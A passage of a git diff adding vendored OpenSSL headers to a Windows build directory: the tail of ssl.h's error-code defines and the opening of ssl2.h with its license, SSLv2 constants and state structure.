SSL_F_SSL_CTX_SET_SESSION_ID_CONTEXT 219 +#define SSL_F_SSL_CTX_SET_SSL_VERSION 170 +#define SSL_F_SSL_CTX_SET_TRUST 229 +#define SSL_F_SSL_CTX_USE_CERTIFICATE 171 +#define SSL_F_SSL_CTX_USE_CERTIFICATE_ASN1 172 +#define SSL_F_SSL_CTX_USE_CERTIFICATE_CHAIN_FILE 220 +#define SSL_F_SSL_CTX_USE_CERTIFICATE_FILE 173 +#define SSL_F_SSL_CTX_USE_PRIVATEKEY 174 +#define SSL_F_SSL_CTX_USE_PRIVATEKEY_ASN1 175 +#define SSL_F_SSL_CTX_USE_PRIVATEKEY_FILE 176 +#define SSL_F_SSL_CTX_USE_RSAPRIVATEKEY 177 +#define SSL_F_SSL_CTX_USE_RSAPRIVATEKEY_ASN1 178 +#define SSL_F_SSL_CTX_USE_RSAPRIVATEKEY_FILE 179 +#define SSL_F_SSL_DO_HANDSHAKE 180 +#define SSL_F_SSL_GET_NEW_SESSION 181 +#define SSL_F_SSL_GET_PREV_SESSION 217 +#define SSL_F_SSL_GET_SERVER_SEND_CERT 182 +#define SSL_F_SSL_GET_SIGN_PKEY 183 +#define SSL_F_SSL_INIT_WBIO_BUFFER 184 +#define SSL_F_SSL_LOAD_CLIENT_CA_FILE 185 +#define SSL_F_SSL_NEW 186 +#define SSL_F_SSL_PEEK 270 +#define SSL_F_SSL_PREPARE_CLIENTHELLO_TLSEXT 275 +#define SSL_F_SSL_PREPARE_SERVERHELLO_TLSEXT 276 +#define SSL_F_SSL_READ 223 +#define SSL_F_SSL_RSA_PRIVATE_DECRYPT 187 +#define SSL_F_SSL_RSA_PUBLIC_ENCRYPT 188 +#define SSL_F_SSL_SESSION_NEW 189 +#define SSL_F_SSL_SESSION_PRINT_FP 190 +#define SSL_F_SSL_SESS_CERT_NEW 225 +#define SSL_F_SSL_SET_CERT 191 +#define SSL_F_SSL_SET_CIPHER_LIST 271 +#define SSL_F_SSL_SET_FD 192 +#define SSL_F_SSL_SET_PKEY 193 +#define SSL_F_SSL_SET_PURPOSE 227 +#define SSL_F_SSL_SET_RFD 194 +#define SSL_F_SSL_SET_SESSION 195 +#define SSL_F_SSL_SET_SESSION_ID_CONTEXT 218 +#define SSL_F_SSL_SET_TRUST 228 +#define SSL_F_SSL_SET_WFD 196 +#define SSL_F_SSL_SHUTDOWN 224 +#define SSL_F_SSL_UNDEFINED_CONST_FUNCTION 243 +#define SSL_F_SSL_UNDEFINED_FUNCTION 197 +#define SSL_F_SSL_UNDEFINED_VOID_FUNCTION 244 +#define SSL_F_SSL_USE_CERTIFICATE 198 +#define SSL_F_SSL_USE_CERTIFICATE_ASN1 199 +#define SSL_F_SSL_USE_CERTIFICATE_FILE 200 +#define SSL_F_SSL_USE_PRIVATEKEY 201 +#define SSL_F_SSL_USE_PRIVATEKEY_ASN1 202 +#define SSL_F_SSL_USE_PRIVATEKEY_FILE 203 +#define SSL_F_SSL_USE_RSAPRIVATEKEY 204 +#define SSL_F_SSL_USE_RSAPRIVATEKEY_ASN1 205 +#define SSL_F_SSL_USE_RSAPRIVATEKEY_FILE 206 +#define SSL_F_SSL_VERIFY_CERT_CHAIN 207 +#define SSL_F_SSL_WRITE 208 +#define SSL_F_TLS1_CHANGE_CIPHER_STATE 209 +#define SSL_F_TLS1_ENC 210 +#define SSL_F_TLS1_SETUP_KEY_BLOCK 211 +#define SSL_F_WRITE_PENDING 212 + +/* Reason codes. */ +#define SSL_R_APP_DATA_IN_HANDSHAKE 100 +#define SSL_R_ATTEMPT_TO_REUSE_SESSION_IN_DIFFERENT_CONTEXT 272 +#define SSL_R_BAD_ALERT_RECORD 101 +#define SSL_R_BAD_AUTHENTICATION_TYPE 102 +#define SSL_R_BAD_CHANGE_CIPHER_SPEC 103 +#define SSL_R_BAD_CHECKSUM 104 +#define SSL_R_BAD_DATA_RETURNED_BY_CALLBACK 106 +#define SSL_R_BAD_DECOMPRESSION 107 +#define SSL_R_BAD_DH_G_LENGTH 108 +#define SSL_R_BAD_DH_PUB_KEY_LENGTH 109 +#define SSL_R_BAD_DH_P_LENGTH 110 +#define SSL_R_BAD_DIGEST_LENGTH 111 +#define SSL_R_BAD_DSA_SIGNATURE 112 +#define SSL_R_BAD_ECC_CERT 304 +#define SSL_R_BAD_ECDSA_SIGNATURE 305 +#define SSL_R_BAD_ECPOINT 306 +#define SSL_R_BAD_HELLO_REQUEST 105 +#define SSL_R_BAD_LENGTH 271 +#define SSL_R_BAD_MAC_DECODE 113 +#define SSL_R_BAD_MESSAGE_TYPE 114 +#define SSL_R_BAD_PACKET_LENGTH 115 +#define SSL_R_BAD_PROTOCOL_VERSION_NUMBER 116 +#define SSL_R_BAD_RESPONSE_ARGUMENT 117 +#define SSL_R_BAD_RSA_DECRYPT 118 +#define SSL_R_BAD_RSA_ENCRYPT 119 +#define SSL_R_BAD_RSA_E_LENGTH 120 +#define SSL_R_BAD_RSA_MODULUS_LENGTH 121 +#define SSL_R_BAD_RSA_SIGNATURE 122 +#define SSL_R_BAD_SIGNATURE 123 +#define SSL_R_BAD_SSL_FILETYPE 124 +#define SSL_R_BAD_SSL_SESSION_ID_LENGTH 125 +#define SSL_R_BAD_STATE 126 +#define SSL_R_BAD_WRITE_RETRY 127 +#define SSL_R_BIO_NOT_SET 128 +#define SSL_R_BLOCK_CIPHER_PAD_IS_WRONG 129 +#define SSL_R_BN_LIB 130 +#define SSL_R_CA_DN_LENGTH_MISMATCH 131 +#define SSL_R_CA_DN_TOO_LONG 132 +#define SSL_R_CCS_RECEIVED_EARLY 133 +#define SSL_R_CERTIFICATE_VERIFY_FAILED 134 +#define SSL_R_CERT_LENGTH_MISMATCH 135 +#define SSL_R_CHALLENGE_IS_DIFFERENT 136 +#define SSL_R_CIPHER_CODE_WRONG_LENGTH 137 +#define SSL_R_CIPHER_OR_HASH_UNAVAILABLE 138 +#define SSL_R_CIPHER_TABLE_SRC_ERROR 139 +#define SSL_R_CLIENTHELLO_TLSEXT 157 +#define SSL_R_COMPRESSED_LENGTH_TOO_LONG 140 +#define SSL_R_COMPRESSION_FAILURE 141 +#define SSL_R_COMPRESSION_ID_NOT_WITHIN_PRIVATE_RANGE 307 +#define SSL_R_COMPRESSION_LIBRARY_ERROR 142 +#define SSL_R_CONNECTION_ID_IS_DIFFERENT 143 +#define SSL_R_CONNECTION_TYPE_NOT_SET 144 +#define SSL_R_COOKIE_MISMATCH 308 +#define SSL_R_DATA_BETWEEN_CCS_AND_FINISHED 145 +#define SSL_R_DATA_LENGTH_TOO_LONG 146 +#define SSL_R_DECRYPTION_FAILED 147 +#define SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC 281 +#define SSL_R_DH_PUBLIC_VALUE_LENGTH_IS_WRONG 148 +#define SSL_R_DIGEST_CHECK_FAILED 149 +#define SSL_R_DUPLICATE_COMPRESSION_ID 309 +#define SSL_R_ECGROUP_TOO_LARGE_FOR_CIPHER 310 +#define SSL_R_ENCRYPTED_LENGTH_TOO_LONG 150 +#define SSL_R_ERROR_GENERATING_TMP_RSA_KEY 282 +#define SSL_R_ERROR_IN_RECEIVED_CIPHER_LIST 151 +#define SSL_R_EXCESSIVE_MESSAGE_SIZE 152 +#define SSL_R_EXTRA_DATA_IN_MESSAGE 153 +#define SSL_R_GOT_A_FIN_BEFORE_A_CCS 154 +#define SSL_R_HTTPS_PROXY_REQUEST 155 +#define SSL_R_HTTP_REQUEST 156 +#define SSL_R_ILLEGAL_PADDING 283 +#define SSL_R_INVALID_CHALLENGE_LENGTH 158 +#define SSL_R_INVALID_COMMAND 280 +#define SSL_R_INVALID_PURPOSE 278 +#define SSL_R_INVALID_STATUS_RESPONSE 316 +#define SSL_R_INVALID_TICKET_KEYS_LENGTH 275 +#define SSL_R_INVALID_TRUST 279 +#define SSL_R_KEY_ARG_TOO_LONG 284 +#define SSL_R_KRB5 285 +#define SSL_R_KRB5_C_CC_PRINC 286 +#define SSL_R_KRB5_C_GET_CRED 287 +#define SSL_R_KRB5_C_INIT 288 +#define SSL_R_KRB5_C_MK_REQ 289 +#define SSL_R_KRB5_S_BAD_TICKET 290 +#define SSL_R_KRB5_S_INIT 291 +#define SSL_R_KRB5_S_RD_REQ 292 +#define SSL_R_KRB5_S_TKT_EXPIRED 293 +#define SSL_R_KRB5_S_TKT_NYV 294 +#define SSL_R_KRB5_S_TKT_SKEW 295 +#define SSL_R_LENGTH_MISMATCH 159 +#define SSL_R_LENGTH_TOO_SHORT 160 +#define SSL_R_LIBRARY_BUG 274 +#define SSL_R_LIBRARY_HAS_NO_CIPHERS 161 +#define SSL_R_MESSAGE_TOO_LONG 296 +#define SSL_R_MISSING_DH_DSA_CERT 162 +#define SSL_R_MISSING_DH_KEY 163 +#define SSL_R_MISSING_DH_RSA_CERT 164 +#define SSL_R_MISSING_DSA_SIGNING_CERT 165 +#define SSL_R_MISSING_EXPORT_TMP_DH_KEY 166 +#define SSL_R_MISSING_EXPORT_TMP_RSA_KEY 167 +#define SSL_R_MISSING_RSA_CERTIFICATE 168 +#define SSL_R_MISSING_RSA_ENCRYPTING_CERT 169 +#define SSL_R_MISSING_RSA_SIGNING_CERT 170 +#define SSL_R_MISSING_TMP_DH_KEY 171 +#define SSL_R_MISSING_TMP_ECDH_KEY 311 +#define SSL_R_MISSING_TMP_RSA_KEY 172 +#define SSL_R_MISSING_TMP_RSA_PKEY 173 +#define SSL_R_MISSING_VERIFY_MESSAGE 174 +#define SSL_R_NON_SSLV2_INITIAL_PACKET 175 +#define SSL_R_NO_CERTIFICATES_RETURNED 176 +#define SSL_R_NO_CERTIFICATE_ASSIGNED 177 +#define SSL_R_NO_CERTIFICATE_RETURNED 178 +#define SSL_R_NO_CERTIFICATE_SET 179 +#define SSL_R_NO_CERTIFICATE_SPECIFIED 180 +#define SSL_R_NO_CIPHERS_AVAILABLE 181 +#define SSL_R_NO_CIPHERS_PASSED 182 +#define SSL_R_NO_CIPHERS_SPECIFIED 183 +#define SSL_R_NO_CIPHER_LIST 184 +#define SSL_R_NO_CIPHER_MATCH 185 +#define SSL_R_NO_CLIENT_CERT_METHOD 317 +#define SSL_R_NO_CLIENT_CERT_RECEIVED 186 +#define SSL_R_NO_COMPRESSION_SPECIFIED 187 +#define SSL_R_NO_METHOD_SPECIFIED 188 +#define SSL_R_NO_PRIVATEKEY 189 +#define SSL_R_NO_PRIVATE_KEY_ASSIGNED 190 +#define SSL_R_NO_PROTOCOLS_AVAILABLE 191 +#define SSL_R_NO_PUBLICKEY 192 +#define SSL_R_NO_SHARED_CIPHER 193 +#define SSL_R_NO_VERIFY_CALLBACK 194 +#define SSL_R_NULL_SSL_CTX 195 +#define SSL_R_NULL_SSL_METHOD_PASSED 196 +#define SSL_R_OLD_SESSION_CIPHER_NOT_RETURNED 197 +#define SSL_R_ONLY_TLS_ALLOWED_IN_FIPS_MODE 297 +#define SSL_R_PACKET_LENGTH_TOO_LONG 198 +#define SSL_R_PARSE_TLSEXT 223 +#define SSL_R_PATH_TOO_LONG 270 +#define SSL_R_PEER_DID_NOT_RETURN_A_CERTIFICATE 199 +#define SSL_R_PEER_ERROR 200 +#define SSL_R_PEER_ERROR_CERTIFICATE 201 +#define SSL_R_PEER_ERROR_NO_CERTIFICATE 202 +#define SSL_R_PEER_ERROR_NO_CIPHER 203 +#define SSL_R_PEER_ERROR_UNSUPPORTED_CERTIFICATE_TYPE 204 +#define SSL_R_PRE_MAC_LENGTH_TOO_LONG 205 +#define SSL_R_PROBLEMS_MAPPING_CIPHER_FUNCTIONS 206 +#define SSL_R_PROTOCOL_IS_SHUTDOWN 207 +#define SSL_R_PUBLIC_KEY_ENCRYPT_ERROR 208 +#define SSL_R_PUBLIC_KEY_IS_NOT_RSA 209 +#define SSL_R_PUBLIC_KEY_NOT_RSA 210 +#define SSL_R_READ_BIO_NOT_SET 211 +#define SSL_R_READ_TIMEOUT_EXPIRED 312 +#define SSL_R_READ_WRONG_PACKET_TYPE 212 +#define SSL_R_RECORD_LENGTH_MISMATCH 213 +#define SSL_R_RECORD_TOO_LARGE 214 +#define SSL_R_RECORD_TOO_SMALL 298 +#define SSL_R_REQUIRED_CIPHER_MISSING 215 +#define SSL_R_REUSE_CERT_LENGTH_NOT_ZERO 216 +#define SSL_R_REUSE_CERT_TYPE_NOT_ZERO 217 +#define SSL_R_REUSE_CIPHER_LIST_NOT_ZERO 218 +#define SSL_R_SERVERHELLO_TLSEXT 224 +#define SSL_R_SESSION_ID_CONTEXT_UNINITIALIZED 277 +#define SSL_R_SHORT_READ 219 +#define SSL_R_SIGNATURE_FOR_NON_SIGNING_CERTIFICATE 220 +#define SSL_R_SSL23_DOING_SESSION_ID_REUSE 221 +#define SSL_R_SSL2_CONNECTION_ID_TOO_LONG 299 +#define SSL_R_SSL3_EXT_INVALID_SERVERNAME 225 +#define SSL_R_SSL3_EXT_INVALID_SERVERNAME_TYPE 226 +#define SSL_R_SSL3_SESSION_ID_TOO_LONG 300 +#define SSL_R_SSL3_SESSION_ID_TOO_SHORT 222 +#define SSL_R_SSLV3_ALERT_BAD_CERTIFICATE 1042 +#define SSL_R_SSLV3_ALERT_BAD_RECORD_MAC 1020 +#define SSL_R_SSLV3_ALERT_CERTIFICATE_EXPIRED 1045 +#define SSL_R_SSLV3_ALERT_CERTIFICATE_REVOKED 1044 +#define SSL_R_SSLV3_ALERT_CERTIFICATE_UNKNOWN 1046 +#define SSL_R_SSLV3_ALERT_DECOMPRESSION_FAILURE 1030 +#define SSL_R_SSLV3_ALERT_HANDSHAKE_FAILURE 1040 +#define SSL_R_SSLV3_ALERT_ILLEGAL_PARAMETER 1047 +#define SSL_R_SSLV3_ALERT_NO_CERTIFICATE 1041 +#define SSL_R_SSLV3_ALERT_UNEXPECTED_MESSAGE 1010 +#define SSL_R_SSLV3_ALERT_UNSUPPORTED_CERTIFICATE 1043 +#define SSL_R_SSL_CTX_HAS_NO_DEFAULT_SSL_VERSION 228 +#define SSL_R_SSL_HANDSHAKE_FAILURE 229 +#define SSL_R_SSL_LIBRARY_HAS_NO_CIPHERS 230 +#define SSL_R_SSL_SESSION_ID_CALLBACK_FAILED 301 +#define SSL_R_SSL_SESSION_ID_CONFLICT 302 +#define SSL_R_SSL_SESSION_ID_CONTEXT_TOO_LONG 273 +#define SSL_R_SSL_SESSION_ID_HAS_BAD_LENGTH 303 +#define SSL_R_SSL_SESSION_ID_IS_DIFFERENT 231 +#define SSL_R_TLSV1_ALERT_ACCESS_DENIED 1049 +#define SSL_R_TLSV1_ALERT_DECODE_ERROR 1050 +#define SSL_R_TLSV1_ALERT_DECRYPTION_FAILED 1021 +#define SSL_R_TLSV1_ALERT_DECRYPT_ERROR 1051 +#define SSL_R_TLSV1_ALERT_EXPORT_RESTRICTION 1060 +#define SSL_R_TLSV1_ALERT_INSUFFICIENT_SECURITY 1071 +#define SSL_R_TLSV1_ALERT_INTERNAL_ERROR 1080 +#define SSL_R_TLSV1_ALERT_NO_RENEGOTIATION 1100 +#define SSL_R_TLSV1_ALERT_PROTOCOL_VERSION 1070 +#define SSL_R_TLSV1_ALERT_RECORD_OVERFLOW 1022 +#define SSL_R_TLSV1_ALERT_UNKNOWN_CA 1048 +#define SSL_R_TLSV1_ALERT_USER_CANCELLED 1090 +#define SSL_R_TLS_CLIENT_CERT_REQ_WITH_ANON_CIPHER 232 +#define SSL_R_TLS_INVALID_ECPOINTFORMAT_LIST 227 +#define SSL_R_TLS_PEER_DID_NOT_RESPOND_WITH_CERTIFICATE_LIST 233 +#define SSL_R_TLS_RSA_ENCRYPTED_VALUE_LENGTH_IS_WRONG 234 +#define SSL_R_TRIED_TO_USE_UNSUPPORTED_CIPHER 235 +#define SSL_R_UNABLE_TO_DECODE_DH_CERTS 236 +#define SSL_R_UNABLE_TO_DECODE_ECDH_CERTS 313 +#define SSL_R_UNABLE_TO_EXTRACT_PUBLIC_KEY 237 +#define SSL_R_UNABLE_TO_FIND_DH_PARAMETERS 238 +#define SSL_R_UNABLE_TO_FIND_ECDH_PARAMETERS 314 +#define SSL_R_UNABLE_TO_FIND_PUBLIC_KEY_PARAMETERS 239 +#define SSL_R_UNABLE_TO_FIND_SSL_METHOD 240 +#define SSL_R_UNABLE_TO_LOAD_SSL2_MD5_ROUTINES 241 +#define SSL_R_UNABLE_TO_LOAD_SSL3_MD5_ROUTINES 242 +#define SSL_R_UNABLE_TO_LOAD_SSL3_SHA1_ROUTINES 243 +#define SSL_R_UNEXPECTED_MESSAGE 244 +#define SSL_R_UNEXPECTED_RECORD 245 +#define SSL_R_UNINITIALIZED 276 +#define SSL_R_UNKNOWN_ALERT_TYPE 246 +#define SSL_R_UNKNOWN_CERTIFICATE_TYPE 247 +#define SSL_R_UNKNOWN_CIPHER_RETURNED 248 +#define SSL_R_UNKNOWN_CIPHER_TYPE 249 +#define SSL_R_UNKNOWN_KEY_EXCHANGE_TYPE 250 +#define SSL_R_UNKNOWN_PKEY_TYPE 251 +#define SSL_R_UNKNOWN_PROTOCOL 252 +#define SSL_R_UNKNOWN_REMOTE_ERROR_TYPE 253 +#define SSL_R_UNKNOWN_SSL_VERSION 254 +#define SSL_R_UNKNOWN_STATE 255 +#define SSL_R_UNSUPPORTED_CIPHER 256 +#define SSL_R_UNSUPPORTED_COMPRESSION_ALGORITHM 257 +#define SSL_R_UNSUPPORTED_ELLIPTIC_CURVE 315 +#define SSL_R_UNSUPPORTED_PROTOCOL 258 +#define SSL_R_UNSUPPORTED_SSL_VERSION 259 +#define SSL_R_UNSUPPORTED_STATUS_TYPE 329 +#define SSL_R_WRITE_BIO_NOT_SET 260 +#define SSL_R_WRONG_CIPHER_RETURNED 261 +#define SSL_R_WRONG_MESSAGE_TYPE 262 +#define SSL_R_WRONG_NUMBER_OF_KEY_BITS 263 +#define SSL_R_WRONG_SIGNATURE_LENGTH 264 +#define SSL_R_WRONG_SIGNATURE_SIZE 265 +#define SSL_R_WRONG_SSL_VERSION 266 +#define SSL_R_WRONG_VERSION_NUMBER 267 +#define SSL_R_X509_LIB 268 +#define SSL_R_X509_VERIFICATION_SETUP_PROBLEMS 269 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/ssl2.h b/winstuff/openssl/ssl2.h new file mode 100644 index 0000000..99a52ea --- /dev/null +++ b/winstuff/openssl/ssl2.h @@ -0,0 +1,268 @@ +/* ssl/ssl2.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_SSL2_H +#define HEADER_SSL2_H + +#ifdef __cplusplus +extern "C" { +#endif + +/* Protocol Version Codes */ +#define SSL2_VERSION 0x0002 +#define SSL2_VERSION_MAJOR 0x00 +#define SSL2_VERSION_MINOR 0x02 +/* #define SSL2_CLIENT_VERSION 0x0002 */ +/* #define SSL2_SERVER_VERSION 0x0002 */ + +/* Protocol Message Codes */ +#define SSL2_MT_ERROR 0 +#define SSL2_MT_CLIENT_HELLO 1 +#define SSL2_MT_CLIENT_MASTER_KEY 2 +#define SSL2_MT_CLIENT_FINISHED 3 +#define SSL2_MT_SERVER_HELLO 4 +#define SSL2_MT_SERVER_VERIFY 5 +#define SSL2_MT_SERVER_FINISHED 6 +#define SSL2_MT_REQUEST_CERTIFICATE 7 +#define SSL2_MT_CLIENT_CERTIFICATE 8 + +/* Error Message Codes */ +#define SSL2_PE_UNDEFINED_ERROR 0x0000 +#define SSL2_PE_NO_CIPHER 0x0001 +#define SSL2_PE_NO_CERTIFICATE 0x0002 +#define SSL2_PE_BAD_CERTIFICATE 0x0004 +#define SSL2_PE_UNSUPPORTED_CERTIFICATE_TYPE 0x0006 + +/* Cipher Kind Values */ +#define SSL2_CK_NULL_WITH_MD5 0x02000000 /* v3 */ +#define SSL2_CK_RC4_128_WITH_MD5 0x02010080 +#define SSL2_CK_RC4_128_EXPORT40_WITH_MD5 0x02020080 +#define SSL2_CK_RC2_128_CBC_WITH_MD5 0x02030080 +#define SSL2_CK_RC2_128_CBC_EXPORT40_WITH_MD5 0x02040080 +#define SSL2_CK_IDEA_128_CBC_WITH_MD5 0x02050080 +#define SSL2_CK_DES_64_CBC_WITH_MD5 0x02060040 +#define SSL2_CK_DES_64_CBC_WITH_SHA 0x02060140 /* v3 */ +#define SSL2_CK_DES_192_EDE3_CBC_WITH_MD5 0x020700c0 +#define SSL2_CK_DES_192_EDE3_CBC_WITH_SHA 0x020701c0 /* v3 */ +#define SSL2_CK_RC4_64_WITH_MD5 0x02080080 /* MS hack */ + +#define SSL2_CK_DES_64_CFB64_WITH_MD5_1 0x02ff0800 /* SSLeay */ +#define SSL2_CK_NULL 0x02ff0810 /* SSLeay */ + +#define SSL2_TXT_DES_64_CFB64_WITH_MD5_1 "DES-CFB-M1" +#define SSL2_TXT_NULL_WITH_MD5 "NULL-MD5" +#define SSL2_TXT_RC4_128_WITH_MD5 "RC4-MD5" +#define SSL2_TXT_RC4_128_EXPORT40_WITH_MD5 "EXP-RC4-MD5" +#define SSL2_TXT_RC2_128_CBC_WITH_MD5 "RC2-CBC-MD5" +#define SSL2_TXT_RC2_128_CBC_EXPORT40_WITH_MD5 "EXP-RC2-CBC-MD5" +#define SSL2_TXT_IDEA_128_CBC_WITH_MD5 "IDEA-CBC-MD5" +#define SSL2_TXT_DES_64_CBC_WITH_MD5 "DES-CBC-MD5" +#define SSL2_TXT_DES_64_CBC_WITH_SHA "DES-CBC-SHA" +#define SSL2_TXT_DES_192_EDE3_CBC_WITH_MD5 "DES-CBC3-MD5" +#define SSL2_TXT_DES_192_EDE3_CBC_WITH_SHA "DES-CBC3-SHA" +#define SSL2_TXT_RC4_64_WITH_MD5 "RC4-64-MD5" + +#define SSL2_TXT_NULL "NULL" + +/* Flags for the SSL_CIPHER.algorithm2 field */ +#define SSL2_CF_5_BYTE_ENC 0x01 +#define SSL2_CF_8_BYTE_ENC 0x02 + +/* Certificate Type Codes */ +#define SSL2_CT_X509_CERTIFICATE 0x01 + +/* Authentication Type Code */ +#define SSL2_AT_MD5_WITH_RSA_ENCRYPTION 0x01 + +#define SSL2_MAX_SSL_SESSION_ID_LENGTH 32 + +/* Upper/Lower Bounds */ +#define SSL2_MAX_MASTER_KEY_LENGTH_IN_BITS 256 +#ifdef OPENSSL_SYS_MPE +#define SSL2_MAX_RECORD_LENGTH_2_BYTE_HEADER 29998u +#else +#define SSL2_MAX_RECORD_LENGTH_2_BYTE_HEADER 32767u /* 2^15-1 */ +#endif +#define SSL2_MAX_RECORD_LENGTH_3_BYTE_HEADER 16383 /* 2^14-1 */ + +#define SSL2_CHALLENGE_LENGTH 16 +/*#define SSL2_CHALLENGE_LENGTH 32 */ +#define SSL2_MIN_CHALLENGE_LENGTH 16 +#define SSL2_MAX_CHALLENGE_LENGTH 32 +#define SSL2_CONNECTION_ID_LENGTH 16 +#define SSL2_MAX_CONNECTION_ID_LENGTH 16 +#define SSL2_SSL_SESSION_ID_LENGTH 16 +#define SSL2_MAX_CERT_CHALLENGE_LENGTH 32 +#define SSL2_MIN_CERT_CHALLENGE_LENGTH 16 +#define SSL2_MAX_KEY_MATERIAL_LENGTH 24 + +#ifndef HEADER_SSL_LOCL_H +#define CERT char +#endif + +typedef struct ssl2_state_st + { + int three_byte_header; + int clear_text; /* clear text */ + int escape; /* not used in SSLv2 */ + int ssl2_rollback; /* used if SSLv23 rolled back to SSLv2 */ + + /* non-blocking io info, used to make sure the same + * args were passwd */ + unsigned int wnum; /* number of bytes sent so far */ + int wpend_tot; + const unsigned char *wpend_buf; + + int wpend_off; /* offset to data to write */ + int wpend_len; /* number of bytes passwd to write */ + int wpend_ret; /* number of bytes to return to caller */ + + /* buffer raw data */ + int rbuf_left; + int rbuf_offs; + unsigned char *rbuf; + unsigned char *wbuf; + + unsigned char *write_ptr;/* used to point to the start due to + * 2/3 byte header. */ + + unsigned int padding; + unsigned int rlength; /* passed to ssl2_enc */ + int ract_data_length; /* Set when things are encrypted. */ + unsigned int wlength; /* passed to ssl2_enc */ + int wact_data_length; /* Set when things are decrypted. */ + unsigned char *ract_data; + unsigned char *wact_data; + unsigned char *mac_data; + + unsigned char *read_key; + unsigned char *write_key; + + /* Stuff specifically to do with this SSL session */ + unsigned int challenge_length; + unsigned char challenge[SSL2_MAX_CHALLENGE_LENGTH]; + unsigned int conn_id_length; + unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH]; + unsigned int key_material_length; + unsigned char key_material[SSL2_MAX_KEY_MATERIAL_LENGTH*2]; + + unsigned long read_sequence; + unsigned long write_sequence; + + struct { + unsigned int conn_id_length; + unsigned int cert_type; + unsigned int cert_length; + unsigned int csl; + unsigned int clear; + unsigned int enc; + unsigned char ccl[SSL2_MAX_CERT_CHALLENGE_LENGTH]; + unsigned int cipher_spec_length; + unsigned int session_id_length; + unsigned int clen; + unsigned int rlen; + } tmp; + } SSL2_STATE; + +/* SSLv2 */ +/* client */ +#define SSL2_ST_SEND_CLIENT_HELLO_A (0x10|SSL_ST_CONNECT) +#define SSL2_ST_SEND_CLIENT_HELLO_B (0x11|SSL_ST_CONNECT) +#define SSL2_ST_GET_SERVER_HELLO_A (0x20|SSL_ST_CONNECT) +#define SSL2_ST_GET_SERVER_HELLO_B (0x21|SSL_ST_CONNECT) +#define SSL2_ST_SEND_CLIENT_MASTER_KEY_A (0x30|SSL_ST_CONNECT) +#define SSL2_ST_SEND_CLIENT_MASTER_KEY_B (0x31|SSL_ST_CONNECT) +#define SSL2_ST_SEND_CLIENT_FINISHED_A (0x40|SSL_ST_CONNECT) +#define SSL2_ST_SEND_CLIENT_FINISHED_B (0x41|SSL_ST_CONNECT) +#define SSL2_ST_SEND_CLIENT_CERTIFICATE_A (0x50|SSL_ST_CONNECT) +#define SSL2_ST_SEND_CLIENT_CERTIFICATE_B (0x51|SSL_ST_CONNECT) +#define SSL2_ST_SEND_CLIENT_CERTIFICATE_C (0x52|SSL_ST_CONNECT) +#define SSL2_ST_SEND_CLIENT_CERTIFICATE_D (0x53|SSL_ST_CONNECT) +#define SSL2_ST_GET_SERVER_VERIFY_A (0x60|SSL_ST_CONNECT) +#define SSL2_ST_GET_SERVER_VERIFY_B (0x61|SSL_ST_CONNECT) +#define SSL2_ST_GET_SERVER_FINISHED_A (0x70|SSL_ST_CONNECT) +#define SSL2_ST_GET_SERVER_FINISHED_B (0x71|SSL_ST_CONNECT) +#define SSL2_ST_CLIENT_START_ENCRYPTION (0x80|SSL_ST_CONNECT) +#define SSL2_ST_X509_GET_CLIENT_CERTIFICATE (0x90|SSL_ST_CONNECT) +/* server */ +#define SSL2_ST_GET_CLIENT_HELLO_A (0x10|SSL_ST_ACCEPT) +#define SSL2_ST_GET_CLIENT_HELLO_B (0x11|SSL_ST_ACCEPT) +#define SSL2_ST_GET_CLIENT_HELLO_C (0x12|SSL_ST_ACCEPT) +#define SSL2_ST_SEND_SERVER_HELLO_A (0x20|SSL_ST_ACCEPT) +#define SSL2_ST_SEND_SERVER_HELLO_B (0x21|SSL_ST_ACCEPT) +#define SSL2_ST_GET_CLIENT_MASTER_KEY_A (0x30|SSL_ST_ACCEPT) +#define SSL2_ST_GET_CLIENT_MASTER_KEY_B (0x31|SSL_ST_ACCEPT) +#define 